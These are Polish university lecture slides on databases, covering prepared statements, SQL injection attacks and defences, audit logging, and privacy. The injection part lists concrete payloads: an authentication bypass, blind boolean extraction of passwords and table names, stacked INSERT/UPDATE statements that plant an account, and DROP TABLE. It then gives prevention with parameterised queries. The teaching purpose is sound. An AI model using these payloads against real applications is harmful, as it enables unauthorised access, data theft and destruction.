Bazy Danych i Systemy informacyjne Wykład 5 Piotr Syga 13.11.2017
PREPARE przypomnienie Przygotowanie zapytania dynamicznego Wcześniejszy przykład SET @kol = "kolor"; SET @str = CONCAT("SELECT ", @kol, "FROM A"); PREPARE stmt FROM @str; EXECUTE stmt; DEALLOCATE PREPARE stmt;
PREPARE przypomnienie Przygotowanie zapytania dynamicznego Analogiczne zapytanie SET @age = 50; SET @str = CONCAT("SELECT * FROM Muzycy WHERE wiek >", @age,";"); PREPARE stmt FROM @str; EXECUTE stmt; DEALLOCATE PREPARE stmt;
PREPARE przypomnienie Przygotowanie zapytania dynamicznego Analogiczne zapytanie zapisane inaczej SET @age = 50; SET @str = CONCAT("SELECT * FROM Muzycy WHERE wiek >? ;"); PREPARE stmt FROM @str; EXECUTE stmt USING @age; DEALLOCATE PREPARE stmt;
SQL-Injection Idea wykorzystanie pól tekstowych w aplikacji do wprowadzenia własnego kodu zalogowanie się bez uprawnień, pozyskanie lub modyfikacja danych uniemożliwienie dostępu lub zmienienie działania kodu wnioskowanie na podstawie komunikatów błędów
SQL-Injection Przykład autoryzacji Logowanie ustalonego użytkownika SELECT userid FROM users WHERE name= Bob AND password= BobbyB ;
SQL-Injection Przykład autoryzacji Logowanie ustalonego użytkownika SELECT userid FROM users WHERE name= Bob AND password= BobbyB ; Procedura autoryzująca CREATE PROCEDURE auth (IN usr char(50), IN pass char(50), OUT ID INT) SELECT userid INTO ID FROM users WHERE name=usr AND password=pass; Wywołanie: CALL auth ( Bob, BobbyB,@uid) niewygodne wywołanie z cudzysłowem. Zapytanie skonkatenowane SET @str=concat("select userid FROM users WHERE name= ",@usr, AND password= ",@pass, ;");
SQL-Injection Próby logowania Nie znając danych logowania, chcemy spełnić warunek logiczny w WHERE, by zwrócone zostało odpowiednie ID i nastąpiło zalogowanie Podajmy jako nazwę użytkownika oraz hasło ciąg: OR = Zmienna @str otrzyma wartość "SELECT userid FROM users WHERE name= OR = AND password= OR = ;" Jeśli proces autoryzacji nie został zabezpieczony zostaniemy zalogowani jako pierwszy (userid) użytkownik w bazie, często wyświetlane przywitanie lub wgląd do danych podają nazwę konta.
SQL-Injection Co jeśli chcemy poznać hasło? Część funkcjonalności może wymagać potwierdzenia hasłem, co więcej kombinacja login(email) hasło może być wykorzystywana na wielu portalach W przypadku, gdy użytkownik aplikacji połączony jest z kontem administratora bazy: SELECT * FROM mysql.user Bruteforce: Zadajemy pytania tak/nie do bazy danych: Czy hasło Boba zawiera B : Username - U Password - OR EXISTS(SELECT * FROM users WHERE name= Bob AND password LIKE %B% ) AND = Czy hasło Boba zawiera b po B :... LIKE %B%b%... Czy o jest drugą literą hasła:... LIKE _o%...
SQL-Injection Poznanie zawartości bazy W analogiczny sposób do zgadywania hasła możemy dostać odpowiedź na inne pytania tak/nie, np.: Czy istnieje użytkownik o nazwie na A : Password - OR EXISTS(SELECT * FROM users WHERE name LIKE A% ) AND = Czy istnieje użytkownik o takim samym haśle co Bob: Password - OR EXISTS(SELECT * FROM users ub JOIN users u WHERE ub.name= Bob AND u.password=ub.password AND u.name<>ub.name) AND = Czy w bazie jest więcej niż 1000 użytkowników: Password - OR (SELECT COUNT(*) FROM users)>1000 AND = Czy w bazie DBLAB jest tabela users: Password - OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= DBLAB AND TABLE_NAME= users ) AND =
SQL-Injection Poznanie zawartości bazy W analogiczny sposób do zgadywania hasła możemy dostać odpowiedź na inne pytania tak/nie, np.: Czy istnieje użytkownik o nazwie na A : Password - OR EXISTS(SELECT * FROM users WHERE name LIKE A% ) AND = Czy istnieje użytkownik o takim samym haśle co Bob: Password - OR EXISTS(SELECT * FROM users ub JOIN users u WHERE ub.name= Bob AND u.password=ub.password AND u.name<>ub.name) AND = Czy w bazie jest więcej niż 1000 użytkowników: Password - OR (SELECT COUNT(*) FROM users)>1000 AND = Jak sprawdzić czy każdy użytkownik w bazie ma inne hasło? Czy w bazie DBLAB jest tabela users: Password - OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= DBLAB AND TABLE_NAME= users ) AND =
Rozpoznanie wrażliwości Próba ataku w ciemno Wiedza początkowa SELECT kolumny FROM tabela WHERE kolumna= textfield ; 1 Sprawdzenie czy pole jest wrażliwe na atak: shaq o neal user unknown vs syntax error 2 Sprawdzenie reakcji: user OR = email (pm) vs user unknown vs error 3 Rozpoznanie kolumny: u AND (email IS NULL) AND = alternatywnie u AND email IS NULL; - - sprawdzamy inne pola: name, id, lastname, fullname, login, password,...
Rozpoznanie wrażliwości Próba ataku w ciemno - cd. 4 Rozpoznanie tabel: u AND (SELECT COUNT(*) FROM users)>0; - - sprawdzamy inne pola:accounts, logs, history,... 5 Sprawdzamy na której tabeli wykonywane jest oryginalne zapytanie: u AND users.name IS NULL; - - 6 Sprawdzamy istnienie użytkowników: u OR name LIKE %Bob%, możemy spróbować hasła. 7 Sprawdzamy możliwość dodania: u ; INSERT INTO users ( login, email, passwd, name ) VALUES ( Rogue, Daemon@RedKeep.com, heir, Daemon ); - - 8 Sprawdzamy modyfikacje: u ; UPDATE users SET email = Daemon@RedKeep.com WHERE email LIKE %@RedKeep.com
Rozpoznanie wrażliwości Próba ataku w ciemno - cd. A po poznaniu danych wrażliwych i znudzeniu się bazą...
Rozpoznanie wrażliwości Próba ataku w ciemno - cd. A po poznaniu danych wrażliwych i znudzeniu się bazą... 9... być może coś więcej: u ; DROP TABLE users; - -
Rozpoznanie wrażliwości Zapobieganie Sanityzacja danych: white list vs black list Uwaga: O neal vs... WHERE id = 1000 OR 1=1 Escape:... \ ; DROP TABLE users; - - Zarządzanie parametrami (JDBC): Statement stmt = connection.createstatement(); ResultSet rs = stmt.executequery( SELECT id FROM users WHERE name = + txtfield); // ; DROP TABLE users; - - zmieniamy na: PreparedStatement stmt = connection.preparestatement( SELECT id FROM users WHERE name =? ); stmt.setstring(1, txtfield); ResultSet rs = ps.executequery(); Zarządzanie prawami dostępu Zarządzanie bazą danych przez procedury składowane Odpowiednia konfiguracja komunikatów o błędach
Logowanie Tworzenie logów Przy konfiguracji IDE i servera (np. mysqld log=log_file) ustalamy zakres oraz path plików z logami, pliki sql_actions_*.log zawierają informacje o wykonywanych operacjach, bez danych do debbugowania Uwaga: flaga logowania może nie być ustawiona przez administratora bazy danych, możemy nie mieć (pełnego) dostępu do pliku logów, problem przy migracji bazy
Logowanie Tworzenie logów Możemy utworzyć własne logi zawierające timestamp, użytkownika, rodzaj akcji, informacje o zmienionych wierszach, kolumnach i tabelach W bazie danych tworzymy dedykowaną dla historii operacji tabelę Określamy jakie akcje mają być w niej uwzględniane modyfikujemy odpowiednie procedury i triggery Określamy jak długo dane mają być przechowywane w tabeli (usuwamy dane starsze niż... ) Różnicujemy okres czasu przechowywania dla różnych akcji/użytkowników Dane archiwalne przed usunięciem można zapisać do pliku (backup)
Utrata prywatności Po co nam prywatność? sklejanie informacji z różnych źródeł śledzenie użytkowników metadane
Utrata prywatności Przykłady linkowania baz danych Thelma Arnold vel AOL Searcher No. 4417749 Dane demograficzne P. Golle Privacy Risks in Recommender Systems Ramakrishnan et al. Netflix experiment Narayanan, Shmatikov IMBD + dane medyczne Dwork et al.
Differential Privacy Literatura Differential Privacy Sub-linear queries Redukcja liczby pytań Upublicznianie danych z dużych baz danych wrażliwych Limity przy upublicznianiu danych Privacy book